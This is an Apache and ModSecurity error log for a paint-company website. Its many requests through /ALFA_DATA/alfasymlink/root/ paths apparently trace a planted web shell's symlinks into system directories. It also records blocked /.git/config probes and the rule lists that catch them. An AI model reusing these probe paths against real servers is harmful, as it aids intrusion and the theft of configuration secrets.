[Sun Oct 25 18:11:26.742575 2026] [ssl:error] [pid 2910031:tid 2910031] (70014)End of file found: [client 3.215.59.93:20821] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 18:11:28.958488 2026] [core:error] [pid 2910002:tid 2910002] (13)Permission denied: [client 86.179.24.135:45723] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/numa_policy/total_objects
[Sun Oct 25 18:11:33.329696 2026] [core:error] [pid 2910740:tid 2910740] (13)Permission denied: [client 200.68.166.11:32221] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/numa_policy/total_objects
[Sun Oct 25 18:11:34.675405 2026] [ssl:error] [pid 2905723:tid 2905723] (70014)End of file found: [client 98.82.39.241:14574] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 18:11:43.698304 2026] [ssl:error] [pid 2899542:tid 2899542] (5)Input/output error: [client 98.82.107.102:45441] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 18:11:46.764988 2026] [ssl:error] [pid 2906066:tid 2906066] (70014)End of file found: [client 54.197.178.107:56145] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 18:11:52.736264 2026] [ssl:error] [pid 2910740:tid 2910740] (70014)End of file found: [client 85.208.96.198:47516] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 18:11:54.912321 2026] [ssl:error] [pid 2910002:tid 2910002] (70014)End of file found: [client 184.73.239.35:65094] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 18:11:54.912616 2026] [security2:error] [pid 2910002:tid 2910002] [client 184.73.239.35:65094] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/proc/thread-self/root/sys/devices/pci0000:00/pci_bus/0000:00/device/firmware_node/device:0c/subsystem/devices/PNP0A03:00/physical_node/0000:00:01.2/revision"] [unique_id "at5-qq10nIXJVG7F6sfUXQAAAC4"]
[Sun Oct 25 18:11:54.912654 2026] [security2:error] [pid 2910002:tid 2910002] [client 184.73.239.35:65094] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/proc/thread-self/root/sys/devices/pci0000:00/pci_bus/0000:00/device/firmware_node/device:0c/subsystem/devices/PNP0A03:00/physical_node/0000:00:01.2/revision"] [unique_id "at5-qq10nIXJVG7F6sfUXQAAAC4"]
[Sun Oct 25 18:11:58.671301 2026] [ssl:error] [pid 2899920:tid 2899920] (70014)End of file found: [client 34.203.111.15:49521] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 18:12:03.004212 2026] [ssl:error] [pid 2906066:tid 2906066] (70014)End of file found: [client 3.218.103.254:39224] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 18:12:06.887697 2026] [ssl:error] [pid 2910031:tid 2910031] (70014)End of file found: [client 52.2.4.213:41399] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 18:12:10.790207 2026] [ssl:error] [pid 2910002:tid 2910002] (70014)End of file found: [client 34.231.45.47:37086] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 18:12:14.921501 2026] [ssl:error] [pid 2899920:tid 2899920] (70014)End of file found: [client 3.221.222.168:26033] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 18:12:23.005976 2026] [core:error] [pid 2910031:tid 2910031] (13)Permission denied: [client 34.225.138.57:27368] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/thread-self/root/sys/devices/pci0000:00/pci_bus/0000:00/device/firmware_node/device:0c/subsystem/devices/device:00/physical_node/i2c-0/new_device
[Sun Oct 25 18:12:26.835340 2026] [ssl:error] [pid 2906066:tid 2906066] (70014)End of file found: [client 44.223.232.55:38826] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 18:12:34.816914 2026] [ssl:error] [pid 2910690:tid 2910690] (70014)End of file found: [client 52.204.253.129:26500] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 18:12:36.854196 2026] [security2:error] [pid 2910740:tid 2910740] [client 186.247.62.41:21262] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .resources/ .resx/ .sql/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "452"] [id "920440"] [rev "2"] [msg "URL file extension is restricted by policy"] [data ".conf"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/POLICY/EXT_RESTRICTED"] [tag "WASCTC/WASC-15"] [tag "OWASP_TOP_10/A7"] [tag "PCI/6.5.10"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/usr/lib/tuned/throughput-performance/tuned.conf"] [unique_id "at5-1NYI18aClSq__RQ-lAAAACI"]
[Sun Oct 25 18:12:36.854702 2026] [security2:error] [pid 2910740:tid 2910740] [client 186.247.62.41:21262] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/usr/lib/tuned/throughput-performance/tuned.conf"] [unique_id "at5-1NYI18aClSq__RQ-lAAAACI"]
[Sun Oct 25 18:12:36.855084 2026] [security2:error] [pid 2910740:tid 2910740] [client 186.247.62.41:21262] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): URL file extension is restricted by policy"] [tag "event-correlation"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/usr/lib/tuned/throughput-performance/tuned.conf"] [unique_id "at5-1NYI18aClSq__RQ-lAAAACI"]
[Sun Oct 25 18:12:38.763660 2026] [ssl:error] [pid 2899920:tid 2899920] (70014)End of file found: [client 54.210.155.69:15664] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 18:12:39.144261 2026] [security2:error] [pid 2910733:tid 2910733] [client 156.193.241.172:45478] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .resources/ .resx/ .sql/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "452"] [id "920440"] [rev "2"] [msg "URL file extension is restricted by policy"] [data ".conf"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/POLICY/EXT_RESTRICTED"] [tag "WASCTC/WASC-15"] [tag "OWASP_TOP_10/A7"] [tag "PCI/6.5.10"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/usr/lib/tuned/throughput-performance/tuned.conf"] [unique_id "at5-19kYmHAFMGU1ewelHQAAABo"]
[Sun Oct 25 18:12:39.144743 2026] [security2:error] [pid 2910733:tid 2910733] [client 156.193.241.172:45478] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/usr/lib/tuned/throughput-performance/tuned.conf"] [unique_id "at5-19kYmHAFMGU1ewelHQAAABo"]
[Sun Oct 25 18:12:39.145061 2026] [security2:error] [pid 2910733:tid 2910733] [client 156.193.241.172:45478] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): URL file extension is restricted by policy"] [tag "event-correlation"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/usr/lib/tuned/throughput-performance/tuned.conf"] [unique_id "at5-19kYmHAFMGU1ewelHQAAABo"]
[Sun Oct 25 18:12:41.423576 2026] [security2:error] [pid 2908853:tid 2908853] [client 186.179.163.245:33711] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .resources/ .resx/ .sql/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "452"] [id "920440"] [rev "2"] [msg "URL file extension is restricted by policy"] [data ".conf"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/POLICY/EXT_RESTRICTED"] [tag "WASCTC/WASC-15"] [tag "OWASP_TOP_10/A7"] [tag "PCI/6.5.10"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/usr/lib/tuned/throughput-performance/tuned.conf"] [unique_id "at5-2f9eUr1YKO333NfOuwAAABI"]
[Sun Oct 25 18:12:41.424099 2026] [security2:error] [pid 2908853:tid 2908853] [client 186.179.163.245:33711] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/usr/lib/tuned/throughput-performance/tuned.conf"] [unique_id "at5-2f9eUr1YKO333NfOuwAAABI"]
[Sun Oct 25 18:12:41.424509 2026] [security2:error] [pid 2908853:tid 2908853] [client 186.179.163.245:33711] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): URL file extension is restricted by policy"] [tag "event-correlation"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/usr/lib/tuned/throughput-performance/tuned.conf"] [unique_id "at5-2f9eUr1YKO333NfOuwAAABI"]
[Sun Oct 25 18:12:42.939730 2026] [ssl:error] [pid 2910029:tid 2910029] (70014)End of file found: [client 54.163.169.168:49244] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 18:12:54.774458 2026] [ssl:error] [pid 2910031:tid 2910031] (70014)End of file found: [client 3.213.213.161:45570] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 18:13:02.487586 2026] [security2:error] [pid 2910029:tid 2910029] [client 172.64.198.83:12240] ModSecurity: Warning. Matched phrase "/.git/" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.git/ found within REQUEST_FILENAME: /.git/config"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "clic5.sherwinpinturas.com"] [uri "/.git/config"] [unique_id "at5-7jFcH7iHSIgvWzjm2AAAAEY"]
[Sun Oct 25 18:13:02.487869 2026] [security2:error] [pid 2910029:tid 2910029] [client 172.64.198.83:12240] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "clic5.sherwinpinturas.com"] [uri "/.git/config"] [unique_id "at5-7jFcH7iHSIgvWzjm2AAAAEY"]
[Sun Oct 25 18:13:02.488313 2026] [security2:error] [pid 2910029:tid 2910029] [client 172.64.198.83:12240] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "clic5.sherwinpinturas.com"] [uri "/.git/config"] [unique_id "at5-7jFcH7iHSIgvWzjm2AAAAEY"]
[Sun Oct 25 18:13:02.497441 2026] [security2:error] [pid 2908853:tid 2908853] [client 172.64.198.82:12258] ModSecurity: Warning. Matched phrase "/.git/" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.git/ found within REQUEST_FILENAME: /.git/head"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "clic5.sherwinpinturas.com"] [uri "/.git/HEAD"] [unique_id "at5-7v9eUr1YKO333NfOvAAAABI"]
[Sun Oct 25 18:13:02.497684 2026] [security2:error] [pid 2908853:tid 2908853] [client 172.64.198.82:12258] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "clic5.sherwinpinturas.com"] [uri "/.git/HEAD"] [unique_id "at5-7v9eUr1YKO333NfOvAAAABI"]
[Sun Oct 25 18:13:02.497939 2026] [security2:error] [pid 2908853:tid 2908853] [client 172.64.198.82:12258] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "clic5.sherwinpinturas.com"] [uri "/.git/HEAD"] [unique_id "at5-7v9eUr1YKO333NfOvAAAABI"]
[Sun Oct 25 18:13:02.923245 2026] [ssl:error] [pid 2910740:tid 2910740] (70014)End of file found: [client 3.209.174.110:2168] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 18:13:11.330099 2026] [security2:error] [pid 2899920:tid 2899920] [client 52.1.106.130:59976] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/sys/class/pci_bus/0000:00/device/firmware_node/subsystem/devices/device:02/physical_node/subsystem/drivers/ata_piix/0000:00:01.1/ata1/ata_port/ata1/power/"] [unique_id "at5-9x8fO9KwLgqLGMRChAAAAAc"]
[Sun Oct 25 18:13:11.330173 2026] [security2:error] [pid 2899920:tid 2899920] [client 52.1.106.130:59976] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/sys/class/pci_bus/0000:00/device/firmware_node/subsystem/devices/device:02/physical_node/subsystem/drivers/ata_piix/0000:00:01.1/ata1/ata_port/ata1/power/"] [unique_id "at5-9x8fO9KwLgqLGMRChAAAAAc"]
[Sun Oct 25 18:13:18.875156 2026] [core:error] [pid 2910740:tid 2910740] (13)Permission denied: [client 184.73.195.18:29421] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/class/pci_bus/0000:00/device/firmware_node/physical_node/0000:00:04.0/driver/module/drivers/pci:virtio-pci/0000:00:04.0/rescan
[Sun Oct 25 18:13:22.836972 2026] [core:error] [pid 2905723:tid 2905723] (13)Permission denied: [client 94.1.217.172:1529] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/thread-self/cwd/run/sm-notify.pid
[Sun Oct 25 18:13:25.719026 2026] [core:error] [pid 2910029:tid 2910029] (13)Permission denied: [client 177.39.170.130:12724] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/thread-self/cwd/run/sm-notify.pid
[Sun Oct 25 18:13:30.881953 2026] [ssl:error] [pid 2899542:tid 2899542] (70014)End of file found: [client 44.223.116.180:9557] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 18:13:32.683736 2026] [core:error] [pid 2899920:tid 2899920] (13)Permission denied: [client 47.210.152.172:52563] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/dnotify_struct/free_calls
[Sun Oct 25 18:13:34.842651 2026] [core:error] [pid 2910031:tid 2910031] (13)Permission denied: [client 181.78.17.153:57374] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/dnotify_struct/free_calls
[Sun Oct 25 18:13:35.092700 2026] [core:error] [pid 2910741:tid 2910741] (13)Permission denied: [client 3.208.156.9:10984] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/cwd/sys/class/input/mice/subsystem/input0/device/subsystem/devices/PNP0A03:00/physical_node/0000:00:01.1/driver/0000:00:01.1/resource1
[Sun Oct 25 18:13:36.602818 2026] [core:error] [pid 2910029:tid 2910029] (13)Permission denied: [client 67.193.52.119:43057] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/dnotify_struct/free_calls
[Sun Oct 25 18:13:38.992088 2026] [ssl:error] [pid 2908853:tid 2908853] (70014)End of file found: [client 100.25.120.246:39121] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 18:13:52.675093 2026] [core:error] [pid 2905723:tid 2905723] (13)Permission denied: [client 37.77.55.71:56041] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/bio_integrity_payload/slabs
[Sun Oct 25 18:13:54.389899 2026] [core:error] [pid 2910002:tid 2910002] (13)Permission denied: [client 72.216.121.97:53528] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/bio_integrity_payload/slabs
[Sun Oct 25 18:13:55.651099 2026] [ssl:error] [pid 2899542:tid 2899542] (70014)End of file found: [client 52.3.104.214:27288] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 18:13:58.106423 2026] [core:error] [pid 2910740:tid 2910740] (13)Permission denied: [client 177.37.141.152:27172] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/bio-248/partial
[Sun Oct 25 18:14:01.061868 2026] [core:error] [pid 2910002:tid 2910002] (13)Permission denied: [client 190.42.219.231:52991] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/bio-248/partial
[Sun Oct 25 18:14:03.390188 2026] [core:error] [pid 2899542:tid 2899542] (13)Permission denied: [client 179.238.93.102:8739] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/bio-248/partial
[Sun Oct 25 18:14:03.390784 2026] [security2:error] [pid 2899542:tid 2899542] [client 179.238.93.102:8739] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/sys/kernel/slab/bio-248/partial"] [unique_id "at5_K9KQ9ANbYqzP3RuiEwAAAAk"]
[Sun Oct 25 18:14:03.390818 2026] [security2:error] [pid 2899542:tid 2899542] [client 179.238.93.102:8739] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/sys/kernel/slab/bio-248/partial"] [unique_id "at5_K9KQ9ANbYqzP3RuiEwAAAAk"]
[Sun Oct 25 18:14:10.939749 2026] [ssl:error] [pid 2908853:tid 2908853] (70014)End of file found: [client 85.208.96.211:46530] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 18:14:10.939958 2026] [security2:error] [pid 2908853:tid 2908853] [client 85.208.96.211:46530] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/sys/dev/block/11:0/range"] [unique_id "at5_Mv9eUr1YKO333NfOwQAAABI"]
[Sun Oct 25 18:14:10.939986 2026] [security2:error] [pid 2908853:tid 2908853] [client 85.208.96.211:46530] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/sys/dev/block/11:0/range"] [unique_id "at5_Mv9eUr1YKO333NfOwQAAABI"]
[Sun Oct 25 18:14:12.193860 2026] [security2:error] [pid 2905723:tid 2905723] [client 85.208.96.199:53672] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .resources/ .resx/ .sql/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "452"] [id "920440"] [rev "2"] [msg "URL file extension is restricted by policy"] [data ".sys"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/POLICY/EXT_RESTRICTED"] [tag "WASCTC/WASC-15"] [tag "OWASP_TOP_10/A7"] [tag "PCI/6.5.10"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/usr/share/mysql/danish/errmsg.sys"] [unique_id "at5_NLshG2fTBV-IZGyCIwAAAAI"]
[Sun Oct 25 18:14:12.194267 2026] [security2:error] [pid 2905723:tid 2905723] [client 85.208.96.199:53672] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/usr/share/mysql/danish/errmsg.sys"] [unique_id "at5_NLshG2fTBV-IZGyCIwAAAAI"]
[Sun Oct 25 18:14:12.194625 2026] [security2:error] [pid 2905723:tid 2905723] [client 85.208.96.199:53672] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): URL file extension is restricted by policy"] [tag "event-correlation"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/usr/share/mysql/danish/errmsg.sys"] [unique_id "at5_NLshG2fTBV-IZGyCIwAAAAI"]
[Sun Oct 25 18:14:12.227883 2026] [core:error] [pid 2910002:tid 2910002] (13)Permission denied: [client 35.171.141.42:5674] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/devices/system/memory/memory20/node0/compact
[Sun Oct 25 18:14:19.998583 2026] [security2:error] [pid 2910029:tid 2910029] [client 185.191.171.14:27988] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/usr/share/ghostscript/lib/PM760pl.upp"] [unique_id "at5_OzFcH7iHSIgvWzjm3QAAAEY"]
[Sun Oct 25 18:14:19.998626 2026] [security2:error] [pid 2910029:tid 2910029] [client 185.191.171.14:27988] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/usr/share/ghostscript/lib/PM760pl.upp"] [unique_id "at5_OzFcH7iHSIgvWzjm3QAAAEY"]
[Sun Oct 25 18:14:27.150454 2026] [ssl:error] [pid 2899920:tid 2899920] (70014)End of file found: [client 54.90.244.132:23944] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 18:14:31.258459 2026] [ssl:error] [pid 2910690:tid 2910690] (70014)End of file found: [client 18.235.158.19:16502] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 18:14:34.940910 2026] [security2:error] [pid 2910029:tid 2910029] [client 3.224.215.150:1216] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/proc/thread-self/cwd/proc/self/root/sys/class/pci_bus/0000:00/device/firmware_node/device:01/PNP0501:00/subsystem/devices/device:0c/power/"] [unique_id "at5_SjFcH7iHSIgvWzjm3gAAAEY"]
